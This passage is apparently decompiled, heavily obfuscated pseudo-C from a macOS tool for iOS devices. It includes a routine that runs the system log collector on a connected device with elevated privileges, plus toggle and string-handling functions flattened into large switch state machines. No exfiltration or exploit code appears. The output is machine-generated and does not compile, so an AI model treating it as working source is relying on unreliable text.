case 1957794877:
v13 = 0;
v5 = 1957794877;
v14 = -1829756376;
goto LABEL_433;
case 1995688987:
*v99 = 2004372733;
break;
case 2004372733:
a2 = (SEL)1497042312;
v9 = 1;
v5 = -28350488;
v10 = -229652560;
goto LABEL_446;
}
}
else
{
switch ( v64 )
{
case 1941560175:
v4 = 0;
v5 = -1710252570;
LABEL_430:
v6 = -1759448534;
goto LABEL_442;
case 1943520551:
v9 = 0;
v5 = -442256419;
v10 = 2016740952;
goto LABEL_446;
case 1953734258:
a2 = v47;
v7 = objc_msgSend(&OBJC_CLASS___iOSDevice, v47);
v49 = objc_retainAutoreleasedReturnValue(v7);
*v99 = -1204605061;
break;
}
}
}
else if ( v64 <= 1323816613 )
{
if ( v64 <= 1130030715 )
{
if ( v64 <= 1086548799 )
{
if ( v64 == 1042490399 )
{
NSLog(CFSTR("\xEB\x0E\x22J~ƁQŵ\x12d\x18+\x98\xEF\xC9\x01cj\xE1\xCB\x7F"), a2);
*v99 = 625988910;
}
else if ( v64 == 1073414331 )
{
v4 = 1;
v5 = 265750790;
LABEL_330:
v6 = -328610186;
goto LABEL_442;
}
}
else
{
switch ( v64 )
{
case 1086548800:
a2 = (SEL)4240726347LL;
v9 = 1;
v5 = -2084222713;
v10 = -1617472987;
goto LABEL_446;
case 1123620547:
a2 = (SEL)155178470;
v9 = 0;
v5 = -732746985;
v10 = 978830564;
goto LABEL_446;
case 1123826692:
HikariFunctionWrapper_19085(CFSTR("\x94\\\x00\xFC\xA7S/\xEC\xF3\x9FT\xA3\xAB\x99\x91\x0E\x13;\xE3\x83\xE7\xB8c["));
v4 = 0;
v5 = -772045287;
v6 = -1097920604;
goto LABEL_442;
}
}
}
else if ( v64 > 1268854751 )
{
switch ( v64 )
{
case 1268854752:
a2 = v59;
v85 = objc_msgSend(v76, v59, 201345527) == 0;
v4 = 1;
v5 = 194996720;
LABEL_438:
v6 = 1268854752;
goto LABEL_442;
case 1287631669:
*v99 = -88987927;
break;
case 1314771275:
a2 = (SEL)2147596672LL;
v9 = 1;
v5 = -436109222;
v10 = 412859110;
goto LABEL_446;
}
}
else
{
switch ( v64 )
{
case 1130030716:
*v99 = -1324334027;
v95 = v89;
break;
case 1169104565:
*v99 = -1794633612;
break;
case 1190409950:
v13 = !v79;
v5 = 1123620547;
v14 = -676639639;
goto LABEL_433;
}
}
}
else if ( v64 > 1443892595 )
{
if ( v64 > 1615361170 )
{
switch ( v64 )
{
case 1615361171:
objc_release(v60);
v4 = 1;
v5 = -18252684;
v6 = 1615361171;
goto LABEL_442;
case 1646303735:
v68 = v67;
v5 = 1896831408;
goto LABEL_448;
case 1661734818:
v18 = !v81;
v19 = 2022443322;
LABEL_263:
if ( !v18 )
v19 = 1646303735;
*v99 = v19;
v67 = 0;
break;
}
}
else
{
switch ( v64 )
{
case 1443892596:
*v99 = 1957794877;
break;
case 1528876110:
v9 = 0;
v5 = 1123826692;
v10 = -772045287;
goto LABEL_446;
case 1533947963:
v91 = v98;
v5 = -1281658479;
goto LABEL_448;
}
}
}
else if ( v64 > 1417574236 )
{
switch ( v64 )
{
case 1417574237:
*v99 = 180314635;
break;
case 1418880021:
v9 = 0;
v52 = "attributesOfItemAtPath:error:";
v5 = 692098291;
v10 = 1861149096;
goto LABEL_446;
case 1423795304:
objc_release(v60);
*v99 = 1615361171;
break;
}
}
else
{
switch ( v64 )
{
case 1323816614:
v82 = v46 == 0;
v13 = 0;
v5 = 1323816614;
v14 = 2835536;
goto LABEL_433;
case 1339562526:
*v92 = &byte_10028A861;
v92[1] = &byte_10028A7C6;
objc_retainAutorelease(v76);
*v99 = 753551950;
break;
case 1361034724:
*v99 = 240338253;
break;
}
}
}
if ( v64 > -1074862530 )
break;
if ( v64 > -1673280907 )
{
if ( v64 <= -1367665154 )
{
if ( v64 <= -1552062668 )
{
if ( v64 <= -1609560529 )
{
if ( v64 == -1673280906 )
{
v42 = -1691683214;
if ( v84 )
v42 = 259257936;
*v99 = v42;
v54 = v48;
v55 = v58;
v56 = 0;
}
else if ( v64 == -1617472987 )
{
v44 = "connectToDevice";
v5 = -1428177960;
goto LABEL_448;
}
}
else
{
switch ( v64 )
{
case -1609560528:
*v99 = -1273051211;
break;
case -1593005307:
*v99 = 1941560175;
break;
case -1578998494:
v13 = !v88;
v5 = -1978013273;
v14 = 1528876110;
goto LABEL_433;
}
}
}
else if ( v64 > -1461792793 )
{
switch ( v64 )
{
case -1461792792:
*v99 = 1314771275;
break;
case -1451374604:
v9 = 1;
v5 = 132391612;
v10 = -1916185077;
goto LABEL_446;
case -1428177960:
*v99 = -914405501;
break;
}
}
else
{
switch ( v64 )
{
case -1552062667:
*v99 = -17000284;
break;
case -1470822588:
a2 = (SEL)3198229786LL;
v87 = v63 > 0;
v13 = 0;
v5 = -155282562;
v14 = -229777071;
goto LABEL_433;
case -1463283680:
HikariFunctionWrapper_19069(&stru_10028AA90.isa);
*v99 = -663141006;
break;
}
}
}
else if ( v64 > -1273051212 )
{
if ( v64 > -1166033721 )
{
switch ( v64 )
{
case -1166033720:
goto LABEL_316;
case -1106323511:
v77 = v61 == 0;
*v99 = -316569761;
break;
case -1097920604:
*v99 = 1852233718;
break;
}
}
else
{
switch ( v64 )
{
case -1273051211:
v5 = -1166033720;
goto LABEL_448;
case -1231719055:
*v99 = -1048995730;
break;
case -1204605061:
*v99 = -100384387;
break;
}
}
}
else if ( v64 > -1288889161 )
{
switch ( v64 )
{
case -1288889160:
v35 = objc_msgSend(v74, v52, a3, 0);
v36 = objc_retainAutoreleasedReturnValue(v35);
objc_release(v74);
a2 = (SEL)HikariFunctionWrapper_19093(v36, "fileSize");
HikariFunctionWrapper_19095(CFSTR("\xC5\x19,\xE7\x85\xD9._\xC7\xC8VG\xDA\x6F\xE7\x67\x72U\xBC\xE2\x03\xB1\xF2\x20\xB2\x6ET{\xB3\xFFh%=\x82B/"));
objc_release(v36);
*v99 = 208765452;
break;
case -1281658479:
objc_release(a3);
v4 = 1;
v5 = -1013259115;
v6 = 270928748;
goto LABEL_442;
case -1275288992:
a2 = (SEL)v62;
HikariFunctionWrapper_19081(&cfstr_C_17.isa);
*v99 = 1921115946;
break;
}
}
else
{
switch ( v64 )
{
case -1367665153:
a2 = (SEL)830554560;
v5 = -924292220;
goto LABEL_448;
case -1349621562:
v5 = -70788244;
goto LABEL_448;
case -1324334027:
v8 = v95;
*v99 = 1939263127;
v96 = v8;
break;
}
}
}
else if ( v64 <= -1851418618 )
{
if ( v64 <= -1977320357 )
{
if ( v64 <= -2075202080 )
{
if ( v64 == -2101974428 )
{
a2 = v72;
v40 = objc_msgSend(&OBJC_CLASS___NSFileManager, v72);
v41 = objc_retainAutoreleasedReturnValue(v40);
v9 = 1;
v74 = v41;
v5 = -2101974428;
v10 = 1361034724;
LABEL_446:
if ( v9 )
v5 = v10;
LABEL_448:
*v99 = v5;
}
else if ( v64 == -2084222713 )
{
*v99 = -1617472987;
}
}
else
{
switch ( v64 )
{
case -2075202079:
a2 = (SEL)1012673367;
v5 = -1461792792;
goto LABEL_448;
case -2065191830:
v90 = v97;
v60 = v57;
a2 = (SEL)1395277652;
v13 = 0;
v5 = 1423795304;
v14 = 1615361171;
goto LABEL_433;
case -1978013273:
v4 = 0;
v5 = 1914626641;
v6 = -2101974428;
goto LABEL_442;
}
}
}
else if ( v64 > -1912217642 )
{
switch ( v64 )
{
case -1912217641:
*v99 = 898771056;
break;
case -1912016560:
a2 = v72;
v31 = HikariFunctionWrapper_19091(v51, v72);
objc_retainAutoreleasedReturnValue(v31);
*v99 = 1724567275;
break;
case -1887133097:
objc_retain(a3);
a2 = "setupAuthorization";
objc_msgSend(v75, "setupAuthorization");
*v99 = -1821623285;
break;
}
}
else
{
switch ( v64 )
{
case -1977320356:
*v99 = -1753474875;
break;
case -1937898632:
asc_10028A8D0[8] = v93;
asc_10028A8D0[9] = 116;
asc_10028A8D0[10] = 105;
asc_10028A8D0[11] = 111;
asc_10028A8D0[12] = 110;
asc_10028A8D0[13] = 32;
asc_10028A8D0[14] = 110;
asc_10028A8D0[15] = 111;
asc_10028A8D0[16] = 116;
asc_10028A8D0[17] = 32;
asc_10028A8D0[18] = 97;
asc_10028A8D0[19] = 118;
asc_10028A8D0[20] = 97;
asc_10028A8D0[21] = 105;
asc_10028A8D0[22] = 108;
asc_10028A8D0[23] = 97;
asc_10028A8D0[24] = 98;
asc_10028A8D0[25] = 108;
asc_10028A8D0[26] = 101;
asc_10028A8D0[27] = 0;
strcpy(aC_17, "Log collection failed: %d");
qmemcpy(asc_10028A710, "Log collection successful: %llu", 31);
v13 = 0;
v94 = 48;
v5 = -432581646;
v14 = -1593005307;
goto LABEL_433;
case -1916185077:
v92[6] = &byte_10028A755;
v92[7] = 0;
*v69 = 0;
v16 = (const AuthorizationOpaqueRef *)objc_msgSend(v75, "authRef");
a2 = &byte_10028A743;
v17 = HikariFunctionWrapper_19079(v16, &byte_10028A743, 0, (char *const *)v92, v69);
v86 = v17 == 0;
v4 = 0;
v62 = v17;
v5 = -1916185077;
v6 = -968517643;
goto LABEL_442;
}
}
}
else if ( v64 > -1792884545 )
{
if ( v64 > -1710252571 )
{
switch ( v64 )
{
case -1710252570:
asc_10028A710[31] = v94 ^ 0x10;
asc_10028A710[32] = 98;
asc_10028A710[33] = 121;
asc_10028A710[34] = 116;
asc_10028A710[35] = 101;
asc_10028A710[36] = 115;
asc_10028A710[37] = 0;
strcpy(a9l, "Cannot get device UDID");
strcpy(asc_10028A840, "Cannot connect to device");
strcpy(aY_11, "UniqueDeviceID");
strcpy(&byte_10028A7C6, "--device-udid");
byte_10028A7AF = 45;
byte_10028A7B0 = 45;
byte_10028A7B1 = 111;
byte_10028A7B2 = 117;
byte_10028A7B3 = 116;
byte_10028A7B4 = 112;
byte_10028A7B5 = 117;
byte_10028A7B6 = 116;
byte_10028A7B7 = 0;
byte_10028A79F = 45;
byte_10028A7A0 = 45;
byte_10028A7A1 = 108;
byte_10028A7A2 = 97;
byte_10028A7A3 = 115;
byte_10028A7A4 = 116;
byte_10028A7A5 = 0;
byte_10028A755 = 49;
byte_10028A756 = 50;
byte_10028A757 = 48;
byte_10028A758 = 109;
byte_10028A759 = 0;
strcpy(asc_10028A780, "Log archive not created");
byte_10028A861 = 99;
byte_10028A862 = 111;
byte_10028A863 = 108;
byte_10028A864 = 108;
byte_10028A865 = 101;
byte_10028A866 = 99;
byte_10028A867 = 116;
byte_10028A868 = 0;
strcpy(&byte_10028A743, "/usr/bin/log");
*v99 = -1759448534;
break;
case -1691683214:
v76 = v55;
v59 = v54;
v4 = 0;
v5 = 138052590;
goto LABEL_438;
case -1687886172:
*v99 = -2075202079;
break;
}
}
else
{
switch ( v64 )
{
case -1792884544:
*v99 = 358283949;
break;
case -1759448534:
asc_10028A710[31] = v94 ^ 0x10;
asc_10028A710[32] = 98;
asc_10028A710[33] = 121;
asc_10028A710[34] = 116;
asc_10028A710[35] = 101;
asc_10028A710[36] = 115;
asc_10028A710[37] = 0;
strcpy(a9l, "Cannot get device UDID");
strcpy(asc_10028A840, "Cannot connect to device");
strcpy(aY_11, "UniqueDeviceID");
strcpy(&byte_10028A7C6, "--device-udid");
byte_10028A7AF = 45;
byte_10028A7B0 = 45;
byte_10028A7B1 = 111;
byte_10028A7B2 = 117;
byte_10028A7B3 = 116;
byte_10028A7B4 = 112;
byte_10028A7B5 = 117;
byte_10028A7B6 = 116;
byte_10028A7B7 = 0;
byte_10028A79F = 45;
byte_10028A7A0 = 45;
byte_10028A7A1 = 108;
byte_10028A7A2 = 97;
byte_10028A7A3 = 115;
byte_10028A7A4 = 116;
byte_10028A7A5 = 0;
byte_10028A755 = 49;
byte_10028A756 = 50;
byte_10028A757 = 48;
byte_10028A758 = 109;
byte_10028A759 = 0;
strcpy(asc_10028A780, "Log archive not created");
byte_10028A861 = 99;
byte_10028A862 = 111;
byte_10028A863 = 108;
byte_10028A864 = 108;
byte_10028A865 = 101;
byte_10028A866 = 99;
byte_10028A867 = 116;
byte_10028A868 = 0;
strcpy(&byte_10028A743, "/usr/bin/log");
v4 = 1;
v5 = 1287631669;
goto LABEL_430;
case -1753474875:
v4 = 0;
v5 = -1977320356;
v6 = 196208340;
goto LABEL_442;
}
}
}
else if ( v64 > -1821623286 )
{
switch ( v64 )
{
case -1821623285:
v69 = (FILE **)(&v44 - 2);
v70 = (int *)(&v44 - 2);
objc_retain(a3);
a2 = "setupAuthorization";
v78 = (unsigned __int8)HikariFunctionWrapper_19067(v75, "setupAuthorization") == 0;
*v99 = -988742823;
break;
case -1820153211:
v13 = 0;
v5 = 492107210;
v14 = 1323816614;
LABEL_433:
if ( !v13 )
v5 = v14;
goto LABEL_448;
case -1794633612:
v4 = 0;
v5 = 1417574237;
v6 = 180314635;
goto LABEL_442;
}
}
else
{
switch ( v64 )
{
case -1851418617:
v13 = 0;
v5 = -398542768;
v14 = -1074862529;
goto LABEL_433;
case -1829756376:
*v99 = -1324334027;
v95 = 0;
break;
case -1823043627:
*v99 = 772010048;
break;
}
}
}
if ( v64 <= -579549742 )
break;
if ( v64 <= -229777072 )
{
if ( v64 <= -432581647 )
{
if ( v64 <= -447611912 )
{
if ( v64 == -579549741 )
{
*v70 = 0;
*v99 = -584374981;
}
else if ( v64 == -479802655 )
{
v13 = !v77;
v5 = -88987927;
v14 = -1349621562;
goto LABEL_433;
}
}
else
{
switch ( v64 )
{
case -447611911:
a2 = (SEL)583766871;
v5 = -479802655;
goto LABEL_448;
case -442256419:
a2 = "fileExistsAtPath:";
v32 = (unsigned __int8)objc_msgSend(v73, "fileExistsAtPath:", a3);
objc_release(v73);
v88 = v32 == 0;
*v99 = -1578998494;
break;
case -436109222:
HikariFunctionWrapper_19089(v70);
*v99 = 412859110;
break;
}
}
}
else if ( v64 > -328610187 )
{
switch ( v64 )
{
case -328610186:
*v99 = 265750790;
break;
case -316569761:
a2 = (SEL)3373009250LL;
v9 = 0;
v5 = -447611911;
v10 = 1817161610;
goto LABEL_446;
case -234756283:
v13 = !v87;
v5 = 943890837;
v14 = 1314771275;
goto LABEL_433;
}
}
else
{
switch ( v64 )
{
case -432581646:
asc_10028A8D0[8] = v93;
asc_10028A8D0[9] = 116;
asc_10028A8D0[10] = 105;
asc_10028A8D0[11] = 111;
asc_10028A8D0[12] = 110;
asc_10028A8D0[13] = 32;
asc_10028A8D0[14] = 110;
asc_10028A8D0[15] = 111;
asc_10028A8D0[16] = 116;
asc_10028A8D0[17] = 32;
asc_10028A8D0[18] = 97;
asc_10028A8D0[19] = 118;
asc_10028A8D0[20] = 97;
asc_10028A8D0[21] = 105;
asc_10028A8D0[22] = 108;
asc_10028A8D0[23] = 97;
asc_10028A8D0[24] = 98;
asc_10028A8D0[25] = 108;
asc_10028A8D0[26] = 101;
asc_10028A8D0[27] = 0;
strcpy(aC_17, "Log collection failed: %d");
qmemcpy(asc_10028A710, "Log collection successful: %llu", 31);
*v99 = -1937898632;
break;
case -398542768:
*v99 = -1851418617;
break;
case -373613778:
dword_10029F618 = 1;
v4 = 1;
v92 = &v44 - 8;
v5 = 335305984;
v6 = -373613778;
goto LABEL_442;
}
}
}
else if ( v64 > -98312890 )
{
if ( v64 > -28350489 )
{
switch ( v64 )
{
case -28350488:
*v99 = -229652560;
break;
case -18252684:
*v99 = 1533947963;
v98 = v90;
break;
case -17000284:
v9 = 1;
v5 = -1552062667;
v10 = 1190409950;
goto LABEL_446;
}
}
else
{
switch ( v64 )
{
case -98312889:
*v99 = -924292220;
break;
case -88987927:
v4 = 1;
v5 = -373613778;
v6 = -723621087;
goto LABEL_442;
case -70788244:
asc_10028A8D0[0] = 65;
asc_10028A8D0[1] = 117;
asc_10028A8D0[2] = 116;
asc_10028A8D0[3] = 104;
asc_10028A8D0[4] = 111;
asc_10028A8D0[5] = 114;
asc_10028A8D0[6] = 105;
asc_10028A8D0[7] = 122;
v93 = 97;
*v99 = -1013627073;
break;
}
}
}
else if ( v64 > -155282563 )
{
switch ( v64 )
{
case -155282562:
*v99 = -1470822588;
break;
case -100384387:
objc_release(v68);
v9 = 0;
v5 = -1912217641;
v10 = -100384387;
goto LABEL_446;
case -98598846:
objc_release(v68);
*v99 = -100384387;
break;
}
}
else
{
switch ( v64 )
{
case -229777071:
*v99 = 1073414331;
break;
case -229652560:
v80 = v65 == 0;
v4 = 1;
v5 = 1169104565;
v6 = -229652560;
goto LABEL_442;
case -203769048:
v4 = 0;
v5 = -398542768;
v6 = -1851418617;
goto LABEL_442;
}
}
}
if ( v64 <= -772045288 )
break;
if ( v64 <= -676639640 )
{
if ( v64 <= -732746986 )
{
if ( v64 == -772045287 )
{
NSLog(CFSTR("\x94\\\x00\xFC\xA7S/\xEC\xF3\x9FT\xA3\xAB\x99\x91\x0E\x13;\xE3\x83\xE7\xB8c["), a2);
*v99 = 1123826692;
}
else if ( v64 == -770669434 )
{
*v99 = -1367665153;
}
}
else
{
switch ( v64 )
{
case -732746985:
v4 = 0;
v65 = idevice;
v5 = -732746985;
v6 = 1995688987;
goto LABEL_442;
case -723621087:
dword_10029F618 = 1;
*v99 = -373613778;
break;
case -686013995:
v9 = 1;
v5 = -155282562;
v10 = -1470822588;
goto LABEL_446;
}
}
}
else if ( v64 > -603016549 )
{
switch ( v64 )
{
case -603016548:
*v99 = 1943520551;
break;
case -588127653:
v27 = 1953734258;
if ( v83 )
v27 = -822546805;
*v99 = v27;
v53 = v68;
break;
case -584374981:
a2 = (SEL)3154640896LL;
v4 = 0;
*v70 = 0;
v5 = -584374981;
v6 = 640819274;
goto LABEL_442;
}
}
else
{
switch ( v64 )
{
case -676639639:
*v99 = 625988910;
break;
case -663141006:
v4 = 0;
v5 = -1609560528;
v6 = -1273051211;
goto LABEL_442;
case -636417699:
v9 = 1;
v5 = -1887133097;
v10 = -1821623285;
goto LABEL_446;
}
}
}
if ( v64 <= -968517644 )
break;
if ( v64 > -924292221 )
{
switch ( v64 )
{
case -924292220:
v81 = v66 == 0;
v9 = 1;
v5 = -98312889;
v10 = 1032154269;
goto LABEL_446;
case -914405501:
a2 = v44;
v79 = (unsigned __int8)objc_msgSend(v75, v44) == 0;
*v99 = 384879148;
break;
case -822546805:
v58 = v53;
a2 = (SEL)2278263302LL;
v9 = 1;
v5 = -1792884544;
v10 = 358283949;
goto LABEL_446;
}
}
else
{
switch ( v64 )
{
case -968517643:
v13 = !v86;
v5 = -1275288992;
v14 = -203769048;
goto LABEL_433;
case -947803207:
v5 = 1825137509;
goto LABEL_448;
case -926759329:
v4 = 0;
v5 = -432581646;
v6 = -1937898632;
goto LABEL_442;
}
}
}
if ( v64 > -1013627074 )
break;
switch ( v64 )
{
case -1074862529:
*v99 = 2066321705;
break;
case -1048995730:
v4 = 1;
v5 = 216069486;
v6 = -1231719055;
goto LABEL_442;
case -1036886189:
v18 = !v80;
v19 = 148423135;
goto LABEL_263;
}
}
if ( v64 != -1013627073 )
break;
*v99 = -926759329;
}
if ( v64 != -988742823 )
break;
*v99 = 593186394;
}
}
while ( v64 != -1013259115 );
return v91;
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 10028A743: using guessed type char byte_10028A743;
// 10028A755: using guessed type char byte_10028A755;
// 10028A756: using guessed type char byte_10028A756;
// 10028A757: using guessed type char byte_10028A757;
// 10028A758: using guessed type char byte_10028A758;
// 10028A759: using guessed type char byte_10028A759;
// 10028A79F: using guessed type char byte_10028A79F;
// 10028A7A0: using guessed type char byte_10028A7A0;
// 10028A7A1: using guessed type char byte_10028A7A1;
// 10028A7A2: using guessed type char byte_10028A7A2;
// 10028A7A3: using guessed type char byte_10028A7A3;
// 10028A7A4: using guessed type char byte_10028A7A4;
// 10028A7A5: using guessed type char byte_10028A7A5;
// 10028A7AF: using guessed type char byte_10028A7AF;
// 10028A7B0: using guessed type char byte_10028A7B0;
// 10028A7B1: using guessed type char byte_10028A7B1;
// 10028A7B2: using guessed type char byte_10028A7B2;
// 10028A7B3: using guessed type char byte_10028A7B3;
// 10028A7B4: using guessed type char byte_10028A7B4;
// 10028A7B5: using guessed type char byte_10028A7B5;
// 10028A7B6: using guessed type char byte_10028A7B6;
// 10028A7B7: using guessed type char byte_10028A7B7;
// 10028A7C6: using guessed type char byte_10028A7C6;
// 10028A861: using guessed type char byte_10028A861;
// 10028A862: using guessed type char byte_10028A862;
// 10028A863: using guessed type char byte_10028A863;
// 10028A864: using guessed type char byte_10028A864;
// 10028A865: using guessed type char byte_10028A865;
// 10028A866: using guessed type char byte_10028A866;
// 10028A867: using guessed type char byte_10028A867;
// 10028A868: using guessed type char byte_10028A868;
// 10028A950: using guessed type __CFString cfstr_C_17;
// 10028AA90: using guessed type __CFString stru_10028AA90;
// 10029F618: using guessed type int dword_10029F618;
// 10029F898: using guessed type __int64 idevice;
//----- (00000001001D94D3) ----------------------------------------------------
void __cdecl -[AppDelegate lockOtaCheckboxToggled:](AppDelegate *self, SEL a2, id a3)
{
int v4; // eax
int v5; // [rsp+4h] [rbp-3Ch] BYREF
int *v6; // [rsp+8h] [rbp-38h]
bool v7; // [rsp+17h] [rbp-29h]
v5 = -360008309;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 <= -496957734 )
{
if ( v5 > -1160600915 )
{
switch ( v5 )
{
case -1160600914:
LockedOTA = v7;
*v6 = -1788887650;
break;
case -904876561:
v4 = -1788887650;
LABEL_27:
*v6 = v4;
break;
case -882485765:
*v6 = -904876561;
break;
}
}
else
{
switch ( v5 )
{
case -2068839010:
*v6 = 1034914704;
break;
case -1788887650:
LockedOTA = v7;
v4 = 28725723;
goto LABEL_27;
case -1515399707:
v4 = 1034914704;
goto LABEL_27;
}
}
}
if ( v5 > 596243010 )
break;
switch ( v5 )
{
case -496957733:
objc_msgSend(a3, "state");
*v6 = 1936128685;
break;
case -360008309:
v4 = 1936128685;
goto LABEL_27;
case 28725723:
*v6 = -1515399707;
break;
}
}
if ( v5 == 1034914704 )
{
v4 = 596243011;
goto LABEL_27;
}
if ( v5 == 1936128685 )
{
v7 = HikariFunctionWrapper_19097(a3, "state") == (id)1;
v4 = -882485765;
goto LABEL_27;
}
}
while ( v5 != 596243011 );
}
// 10029F842: using guessed type char LockedOTA;
//----- (00000001001D97CD) ----------------------------------------------------
__int64 __fastcall activateByLength(id a1, __int64 a2)
{
__int64 result; // rax
bool v3; // zf
int v4; // eax
int v5; // ecx
bool v6; // zf
int v7; // ecx
char v8; // cf
int v9; // ecx
char v10; // cf
int v11; // ecx
const char *v12; // [rsp+8h] [rbp-58h]
const char *v13; // [rsp+18h] [rbp-48h]
int v14; // [rsp+24h] [rbp-3Ch]
int v15; // [rsp+28h] [rbp-38h] BYREF
bool v16; // [rsp+2Ch] [rbp-34h]
char v17; // [rsp+2Dh] [rbp-33h]
bool v18; // [rsp+2Eh] [rbp-32h]
char v19; // [rsp+2Fh] [rbp-31h]
int *v20; // [rsp+30h] [rbp-30h]
v15 = -1040436183;
v20 = &v15;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v15;
if ( v15 > -515474482 )
break;
if ( v15 > -1120416319 )
{
if ( v15 > -873651898 )
{
if ( v15 <= -767010902 )
{
if ( v15 == -873651897 )
{
v12 = "length";
*v20 = -105250753;
}
else if ( v15 == -841720601 )
{
*v20 = -338882257;
}
}
else
{
switch ( v15 )
{
case -767010901:
v8 = 1;
v4 = -767010901;
v9 = -270921292;
goto LABEL_82;
case -749017147:
v10 = 1;
v4 = -208525290;
v11 = -571730896;
goto LABEL_101;
case -571730896:
objc_release(a1);
*v20 = -208525290;
break;
}
}
}
else if ( v15 <= -1073760777 )
{
if ( v15 == -1120416318 )
{
v6 = 0;
v4 = 957589242;
v7 = 43783250;
LABEL_92:
if ( !v6 )
v4 = v7;
LABEL_108:
*v20 = v4;
}
else if ( v15 == -1101638964 )
{
v8 = 1;
v4 = 905497838;
v9 = -1438701273;
goto LABEL_82;
}
}
else
{
switch ( v15 )
{
case -1073760776:
*v20 = 2000167079;
break;
case -1040436183:
v8 = 0;
v4 = -374711047;
v9 = -1691334810;
LABEL_82:
if ( v8 )
v4 = v9;
goto LABEL_108;
case -964944866:
*v20 = -749017147;
break;
}
}
}
else if ( v15 > -1438701274 )
{
if ( v15 <= -1331373495 )
{
if ( v15 == -1438701273 )
{
v10 = 0;
asc_100283CEE[0] = v19;
asc_100283CEE[1] = 0;
v4 = 905497838;
v11 = -1073760776;
goto LABEL_101;
}
if ( v15 == -1359947871 )
*v20 = -1316790301;
}
else
{
switch ( v15 )
{
case -1331373494:
v10 = 0;
v4 = 560192687;
v11 = 104617306;
goto LABEL_101;
case -1316790301:
objc_retain(a1);
*v20 = 2002245743;
break;
case -1228786719:
v4 = -749017147;
if ( v18 )
v4 = 208714740;
v6 = a2 == 110;
v7 = -749017147;
goto LABEL_92;
}
}
}
else if ( v15 <= -1691334811 )
{
if ( v15 == -2038982513 )
{
v3 = 0;
dword_10029F620 = 1;
v4 = -1359947871;
v5 = -2038982513;
goto LABEL_106;
}
if ( v15 == -2027935369 )
*v20 = -1101638964;
}
else
{
switch ( v15 )
{
case -1691334810:
*v20 = -374711047;
break;
case -1685339080:
*v20 = -1120416318;
break;
case -1588773670:
dword_10029F620 = 1;
*v20 = -2038982513;
break;
}
}
}
if ( v15 <= 560192686 )
break;
if ( v15 > 1481454458 )
{
if ( v15 <= 2000167078 )
{
if ( v15 == 1481454459 )
{
*v20 = 738679628;
}
else if ( v15 == 1525554698 )
{
*v20 = -767010901;
}
}
else
{
switch ( v15 )
{
case 2000167079:
v6 = 0;
v4 = -1588773670;
v7 = -2038982513;
goto LABEL_92;
case 2002245743:
v3 = a1 == 0;
v4 = -873651897;
v5 = -749017147;
LABEL_106:
if ( v3 )
v4 = v5;
goto LABEL_108;
case 2114542057:
*v20 = -964944866;
break;
}
}
}
else if ( v15 <= 844614473 )
{
if ( v15 == 560192687 )
{
objc_msgSend(a1, v13, 13, 1, CFSTR("\x93Y"));
*v20 = 104617306;
}
else if ( v15 == 738679628 )
{
v6 = !v16;
v4 = 2000167079;
v7 = 844614474;
goto LABEL_92;
}
}
else
{
switch ( v15 )
{
case 844614474:
v17 = 55;
*v20 = 243970140;
break;
case 905497838:
asc_100283CEE[0] = v19;
asc_100283CEE[1] = 0;
*v20 = -1438701273;
break;
case 957589242:
*v20 = 43783250;
break;
}
}
}
if ( v15 <= 43783249 )
break;
if ( v15 <= 208714739 )
{
if ( v15 == 43783250 )
{
v16 = v14 == 0;
v10 = 0;
v4 = 957589242;
v11 = 1481454459;
LABEL_101:
if ( !v10 )
v4 = v11;
goto LABEL_108;
}
if ( v15 == 104617306 )
{
HikariFunctionWrapper_19101(a1, v13);
v8 = 0;
v4 = 2114542057;
v9 = 104617306;
goto LABEL_82;
}
}
else
{
switch ( v15 )
{
case 208714740:
v13 = "replaceCharactersInRange:withString:";
*v20 = -1331373494;
break;
case 243970140:
v10 = 1;
v4 = -515474481;
v11 = 328718404;
goto LABEL_101;
case 328718404:
*v20 = -515474481;
break;
}
}
}
if ( v15 > -270921293 )
break;
switch ( v15 )
{
case -515474481:
v10 = 0;
v19 = v17 ^ 0x66;
v4 = 328718404;
v11 = -2027935369;
goto LABEL_101;
case -374711047:
v3 = 0;
v14 = dword_10029F620;
v4 = -1685339080;
v5 = -374711047;
goto LABEL_106;
case -338882257:
v3 = 0;
v4 = -767010901;
v5 = 1525554698;
goto LABEL_106;
}
}
if ( v15 == -208525290 )
{
objc_release(a1);
v10 = 0;
v4 = -208525290;
v11 = -841720601;
goto LABEL_101;
}
if ( v15 != -105250753 )
break;
v18 = (unsigned __int64)HikariFunctionWrapper_19099(a1, v12) >= 0xE;
*v20 = -1228786719;
}
}
while ( v15 != -270921292 );
return result;
}
// 1001D9AB0: variable 'v12' is possibly undefined
// 1001D9C0E: variable 'v13' is possibly undefined
// 1001DA092: variable 'v14' is possibly undefined
// 10028AAD0: using guessed type __CFString stru_10028AAD0;
// 10029F620: using guessed type int dword_10029F620;
//----- (00000001001DA146) ----------------------------------------------------
__int64 __fastcall transformLine(id a1)
{
__int64 result; // rax
char v2; // cf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
bool v7; // zf
int v8; // ecx
bool v9; // zf
bool v10; // zf
bool v11; // cc
int v12; // ecx
int v13; // ecx
__int64 v14; // rcx
unsigned __int16 v15; // ax
__int64 v16; // rax
unsigned __int16 v17; // ax
int v18; // eax
__int64 v19; // rcx
int v20; // eax
int v21; // eax
unsigned __int16 v22; // ax
__int64 v23; // rcx
int v24; // eax
int v25; // eax
unsigned __int16 v26; // ax
id v27; // rax
__int64 v28; // rax
int v29; // eax
int v30; // eax
__int64 v31; // [rsp+10h] [rbp-170h]
const char *v32; // [rsp+18h] [rbp-168h]
__int64 v33; // [rsp+20h] [rbp-160h]
const char *v34; // [rsp+28h] [rbp-158h]
__int64 v35; // [rsp+30h] [rbp-150h]
__int64 v36; // [rsp+38h] [rbp-148h]
__int64 v37; // [rsp+40h] [rbp-140h]
const char *v38; // [rsp+50h] [rbp-130h]
const char *v39; // [rsp+58h] [rbp-128h]
__int64 v40; // [rsp+60h] [rbp-120h]
__int64 v41; // [rsp+68h] [rbp-118h]
const char *v42; // [rsp+70h] [rbp-110h]
const char *v43; // [rsp+78h] [rbp-108h]
__int64 v44; // [rsp+80h] [rbp-100h]
const char *v45; // [rsp+88h] [rbp-F8h]
const char *v46; // [rsp+90h] [rbp-F0h]
const char *v47; // [rsp+98h] [rbp-E8h]
const char *v48; // [rsp+A0h] [rbp-E0h]
